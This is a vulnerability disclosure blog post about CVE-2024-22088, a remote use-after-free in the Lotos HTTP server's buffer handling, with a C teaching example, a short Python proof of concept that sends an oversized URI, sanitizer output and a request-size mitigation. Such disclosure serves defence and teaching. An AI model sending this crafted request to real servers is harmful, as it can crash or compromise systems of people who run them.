Zero-Day Research: CVE-2024-22088 Lotos HTTP Server Use-After-Free

In the realm of cybersecurity, uncovering vulnerabilities is a critical part of securing software applications. Recently, while conducting fuzz tests, I stumbled upon a significant security flaw in the Lotos HTTP server. This new vulnerability, tracked as CVE-2024-22088, poses a remote use-after-free risk. In this blog post, we will delve into the details of this issue, explore its implications, and discuss potential mitigations.

What is CVE-2024-22088?

CVE-2024-22088 is a security vulnerability I discovered in the Lotos HTTP server. This flaw can be traced back to commit 3eb36cc in the function buffer_avail located at buffer.h, line 25. Let’s take a closer look at the problematic code:

static inline size_t buffer_avail(const buffer_t *pb) { return pb->free; }

This seemingly innocent line of code hides a critical weakness that can be exploited remotely. Any project using the Lotos HTTP server, including its forks, could potentially be vulnerable to this issue.

Understanding Use-After-Free Bugs

Before we dive deeper into the specifics of CVE-2024-22088, it’s essential to grasp the concept of “use-after-free” bugs. These bugs occur when a program continues to use a memory location after it has been freed. Here’s how it typically happens:

Memory Allocation: The program allocates memory for an object or data structure, creating a pointer to that memory.
Deallocation: At some point, the program deallocates or frees the previously allocated memory.
Improper Use: Despite the memory being freed, the program mistakenly continues to use the pointer to access that memory location.

This improper usage of memory can lead to unpredictable behavior, crashes, or, as in our case, security vulnerabilities. Consider the following example:

#include <stdio.h>
#include <stdlib.h>

int main() {
    int *ptr = (int *)malloc(sizeof(int));  // Allocate memory for an integer
    if (ptr == NULL) {
        fprintf(stderr, "Memory allocation failed.\n");
        return 1;
    }

    *ptr = 42;  // Assign a value to the allocated memory
    printf("Value: %d\n", *ptr);  // Print the value

    free(ptr);  // Deallocate the memory

    // Attempting to access the freed memory (use-after-free)
    printf("Value: %d\n", *ptr);  // Accessing the freed memory

    return 0;
}

Explanation:

We start by including the necessary header files for standard input and output (stdio.h) and memory allocation (stdlib.h).
Inside the main function, we declare an integer pointer ptr.
We use the malloc function to allocate memory for an integer. The sizeof(int) is used to determine the size of memory to allocate, which is typically the size of an integer on the platform.
We check if the memory allocation was successful by comparing ptr to NULL. If malloc fails to allocate memory, it returns NULL, and we print an error message to the standard error stream (stderr) and exit with a non-zero status code.
We assign the value 42 to the memory location pointed to by ptr.
We use printf to print the value stored at the memory location pointed to by ptr. This should print “Value: 42” to the console.
Next, we call free(ptr) to deallocate the previously allocated memory. The memory is now marked as freed, and the pointer ptr still holds the address of the freed memory.
The critical part of the code comes next. We attempt to access the memory pointed to by ptr after it has been freed. This is the use-after-free bug. We again try to print the value using printf, but this time it accesses the freed memory.

Accessing freed memory is bad for several reasons, primarily because it can lead to undefined behavior and various security and reliability issues. Here are some key reasons why accessing freed memory is problematic:

Undefined Behavior: When you access memory that has been freed, the behavior of your program is undefined. This means there are no guarantees about what will happen. Your program may crash immediately, or it may appear to work fine while silently corrupting data or introducing subtle bugs. Undefined behavior can be extremely difficult to diagnose and debug.
Data Corruption: Accessing freed memory can overwrite data that other parts of your program are using. This can lead to data corruption, causing unexpected and incorrect results in your program’s operation. It may also affect the integrity of data structures, potentially causing crashes or vulnerabilities.
Security Vulnerabilities: Use-after-free bugs can be exploited by attackers to gain control of your program or execute malicious code. If an attacker can control the data that is written to the freed memory location, they can potentially execute arbitrary code or manipulate the program’s behavior, leading to security vulnerabilities.
Crashes and Instability: Even if your program doesn’t immediately crash when accessing freed memory, it can lead to instability. Memory-related bugs like use-after-free can cause intermittent crashes, making your program unreliable and frustrating for users.
Memory Leaks: Paradoxically, accessing freed memory can also mask memory leaks. When you access memory that has already been freed, you might inadvertently keep references to that memory, preventing it from being properly deallocated. This can lead to memory leaks over time, where your program consumes more and more memory without releasing it.
Platform and Compiler Variability: The behavior of accessing freed memory can vary between different compilers, operating systems, and hardware platforms. What might seem to work on one system can break on another, leading to portability issues.
Difficulty in Debugging: Identifying and debugging use-after-free bugs can be challenging. Since the symptoms of these bugs can be inconsistent and appear at different points in your program’s execution, tracking down the root cause can be time-consuming and frustrating.

To avoid these issues, it’s crucial to follow proper memory management practices in your code. Always free memory only once, ensure that pointers are not used after the memory they point to has been deallocated, and consider using modern techniques like smart pointers in C++ or memory management tools like AddressSanitizer to catch these issues early during development.

Hunting For CVE-2024-22088

After running a series of fuzz tests on the Lotos HTTP server, I identified a crucial security issue. The vulnerability occurs in the buffer_avail function, which is subsequently called from the buffer_cat function in the buffer.c file. The critical access point occurs after a call to realloc in the buffer_cat function:

/* realloc */
size_t cur_len = buffer_len(pb);
size_t new_len = cur_len + nbyte;
/* realloc strategy */
if (new_len < BUFFER_LIMIT)
    new_len *= 2;
else
    new_len += BUFFER_LIMIT;

npb = realloc(pb, sizeof(buffer_t) + new_len + 1);

The problem arises when realloc is called. If the new size cannot fit in the existing memory space, realloc may move the memory block to a new location. Consequently, the original pointer to the buffer (buffer_t *pb) could become invalid if realloc moves the memory.

After reallocation, any existing pointers to the old memory location become invalid. If you attempt to use the old pointer (pb) without updating it to the new memory location returned by realloc, it leads to undefined behavior. This is precisely what AddressSanitizer, a tool for finding memory-related bugs, is catching in the Lotos HTTP server.

Proof of Concept and Exploitation

To demonstrate the vulnerability, I’ve prepared a Python3 script that sends a crafted HTTP request to the Lotos HTTP server:

#!/usr/bin/env python3

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 8888))
sock.send(b"GET /"+b"?"*20000+b" HTTP/1.1\r\nHost:localhost:8001\r\n\r\n")
response = sock.recv(4096)
sock.close()

Running this script sends an HTTP request with a URI containing 20,000 bytes to the Lotos server, triggering the use-after-free vulnerability.

Address Sanitizer Output

When the use-after-free vulnerability is exploited, AddressSanitizer generates an error report that points to the problematic code:

==415636==ERROR: AddressSanitizer: heap-use-after-free on address 0x625000002904 at pc 0x5585539a14ec bp 0x7ffc148a9370 sp 0x7ffc148a9368
READ of size 4 at 0x625000002904 thread T0
...

The report identifies the exact location of the issue in the buffer_avail function and traces it back to the buffer_cat function in the buffer.c file.

Mitigation Strategies

Addressing this vulnerability is crucial to maintaining the security of projects using the Lotos HTTP server. A potential mitigation strategy involves adding a check to the request.c file. Specifically, you can modify the code in line 130 as follows:

if (len == ERROR || len > 5000) {

This code change ensures that all incoming requests larger than a specified size (e.g., 5000 bytes) are dropped. Adjust the threshold value according to your specific needs, keeping in mind that the use-after-free vulnerability occurs at approximately 8154 bytes in the URI.

Conclusion

CVE-2024-22088 serves as a stark reminder of the importance of thorough security testing and constant vigilance in the world of software development. Understanding the intricacies of use-after-free vulnerabilities and implementing appropriate mitigation strategies is essential for safeguarding your projects from potential threats.

For further information on similar vulnerabilities and best practices in security testing, you can refer to the following resources:

Stay vigilant, keep your software up-to-date, and prioritize security in every step of your development journey.

For the official CVE record, visit CVE-2024-22088.